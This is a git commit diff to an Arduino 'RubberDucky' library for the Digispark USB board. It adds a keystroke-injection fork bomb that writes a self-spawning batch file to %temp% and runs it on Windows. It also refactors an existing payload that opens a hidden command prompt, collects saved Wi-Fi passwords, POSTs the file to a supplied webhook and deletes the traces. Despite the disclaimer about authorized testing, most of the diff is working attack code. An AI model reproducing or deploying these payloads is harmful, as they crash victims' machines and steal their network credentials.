Added fork bomb example 💣

Author: AntonioBerna

examples/Windows Crash/forkBomb/forkBomb.ino

@@ -0,0 +1,27 @@
+/**
+ * @file forkBomb.ino
+ * @brief Example script using the RubberDucky library for Digispark to execute a fork bomb on Windows.
+ *
+ * This sketch initializes the RubberDucky interface and executes a fork bomb on a Windows machine.
+ * It is intended for educational and authorized penetration testing purposes only.
+ *
+ * @note This code is a proof of concept and must not be used for malicious activities.
+ *
+ * @author AntonioBerna
+ * @date 2025
+ * @copyright GPL-3.0 License
+ */
+
+#include "RubberDucky.h"
+
+RubberDucky ducky;
+
+void setup() {
+  ducky.init(); ///< Initialize USB HID and other required subsystems
+}
+
+void loop() {
+  ducky.refreshUSBConnection(); ///< Re-initialize USB in case of dropped connection
+  ducky.forkBomb(true); ///< Execute fork bomb payload on Windows
+  ducky.ledFeedback(10000); ///< Provide LED feedback to indicate completion
+}

src/RubberDucky.cpp

@@ -8,7 +8,7 @@
 #define LAYOUT_ITALIAN
 #include "DigiKeyboard.h"
 
-RubberDucky::RubberDucky(uint8_t ledPin) : ledPin(ledPin) { }
+RubberDucky::RubberDucky(uint8_t ledPin) : ledPin(ledPin) {}
 
 void RubberDucky::init(void) {
   pinMode(this->ledPin, OUTPUT);
@@ -32,7 +32,7 @@ void RubberDucky::refreshUSBConnection(void) {
   DigiKeyboard.delay(2000);
 }
 
-void RubberDucky::stealWindowsWifiPasswords(const char *webhook, bool debug) {
+void RubberDucky::launchCMD(bool debug) {
   // Open Run dialog
   DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // `Win + R`
   DigiKeyboard.delay(1250);
@@ -50,6 +50,11 @@ void RubberDucky::stealWindowsWifiPasswords(const char *webhook, bool debug) {
   }
   DigiKeyboard.write('\n');
   DigiKeyboard.delay(1250);
+}
+
+void RubberDucky::stealWindowsWifiPasswords(const char *webhook, bool debug) {
+  // Open Run dialog and launch CMD
+  launchCMD(debug);
 
   // Navigate to temp directory and prepare workspace
   DigiKeyboard.print("cd %temp% && mkdir RubberDucky && cd RubberDucky");
@@ -72,7 +77,7 @@ void RubberDucky::stealWindowsWifiPasswords(const char *webhook, bool debug) {
   DigiKeyboard.print("\" -Method POST -InFile \"Wi-Fi-Passwd.txt\"");
   DigiKeyboard.write('\n');
   DigiKeyboard.delay(10000);
-  
+
   // Cleaning up all
   DigiKeyboard.print("cd .. && rmdir /s /q RubberDucky");
   DigiKeyboard.write('\n');
@@ -83,3 +88,18 @@ void RubberDucky::stealWindowsWifiPasswords(const char *webhook, bool debug) {
   DigiKeyboard.write('\n');
   DigiKeyboard.delay(100);
 }
+
+void RubberDucky::forkBomb(bool debug) {
+  // Open Run dialog and launch CMD
+  launchCMD(debug);
+
+  // Creating payload to a temporary directory
+  DigiKeyboard.print("(echo :ouch && echo start ouch.bat && echo goto ouch) > %temp%/ouch.bat");
+  DigiKeyboard.write('\n');
+  DigiKeyboard.delay(500);
+
+  // Executing the fork bomb
+  DigiKeyboard.print("cd %temp% && ouch.bat");
+  DigiKeyboard.write('\n');
+  DigiKeyboard.delay(500);
+}

src/RubberDucky.h

@@ -32,25 +32,36 @@ class RubberDucky {
    * @brief Initialize the board and LED.
    */
   void init(void);
-  
+
   /**
    * @brief Blink the LED for visual feedback.
    * @param ms Duration of each LED ON/OFF phase in milliseconds.
    */
   void ledFeedback(const long ms);
-  
+
   /**
    * @brief Keeps the USB HID connection alive and releases any pressed keys.
    */
   void refreshUSBConnection(void);
-  
+
+  /**
+   * @brief Launches the Windows Command Prompt (CMD) in a minimized state.
+   * @param debug If true, opens a normal CMD instead of a hidden one for debugging.
+   */
+  void RubberDucky::launchCMD(bool debug);
+
   /**
    * @brief Executes a payload to steal Wi-Fi passwords on Windows and sends them to a given webhook.
    * @param webhook URL to send the exfiltrated data via HTTP POST.
    * @param debug If true, opens a normal CMD instead of a hidden one for debugging.
    */
   void stealWindowsWifiPasswords(const char *webhook, bool debug = false);
 
+  /**
+   * @brief Executes a fork bomb on Windows to demonstrate system resource exhaustion.
+   */
+  void forkBomb(bool debug = false);
+
 private:
   uint8_t ledPin; ///< Pin connected to the onboard LED for feedback
 };